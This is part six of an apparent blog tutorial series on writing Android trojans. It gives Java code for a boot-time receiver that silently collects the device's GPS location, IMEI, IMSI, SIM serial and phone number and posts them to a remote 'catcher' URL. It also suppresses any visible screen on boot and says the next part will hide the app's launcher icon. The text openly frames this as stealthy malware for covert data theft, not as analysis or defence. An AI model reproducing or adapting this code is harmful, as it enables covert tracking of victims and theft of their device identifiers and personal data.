Tutorial: Writing Android malware (trojans) Part 6

As mentioned in the first post, I’d like to add just one simple function here and sum up.

We will make the phone vibrate every time it gets charged. First we add the permission “android.permission.VIBRATE” (as we already know):

Then we add the following code right after w.start() inside ChargeReceiver.java onReceive method:

 // vibrate 250ms
Vibrator v = (Vibrator) arg0.getSystemService(Context.VIBRATOR_SERVICE);
v.vibrate(250);

Note that 250ms may be too short on some devices, so that it will not vibrate at all. You can test using 1000ms or 500ms.

Also you might have noticed, that our application is starting up on every boot, which is not really desired for a trojan. The fix is easy, this is what BOOTReceiver.java looks like:

public class BOOTReceiver extends BroadcastReceiver {

  @Override
  public void onReceive(Context context, Intent intent) {
    Intent i = new Intent(context, MainActivity.class);
    i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    context.startActivity(i);
  }
}

We will simple change it to:

public class BOOTReceiver extends BroadcastReceiver {

  @Override
  public void onReceive(Context arg0, Intent arg1) {
    try {
      // get device location
      DeviceLocation d = new DeviceLocation();
      double[] location = d.getGPS(arg0);

      // send data to server
      WebHelper w = new WebHelper("http://www.malware.com/catcher.php",
          PhoneInfo.getMyIMEI(arg0),
          PhoneInfo.getMyIMSI(arg0),
          location[0],
          location[1],
          PhoneInfo.getMySIMSerial(arg0),
          PhoneInfo.getMyPhoneNumber(arg0));
      w.start();
    }
    catch (Exception e) {
      Log.e("malware", e.toString());
    }
  }
}

Exactly the same code the ChargeReceiver uses. You may also define the same class used by both broadcast events, but I will keep them separated, just in case you want to have different behavior.

The application will no longer show a screen (intent) when the device boots, but the code will run. In the next part we will remove the icon from the launcher.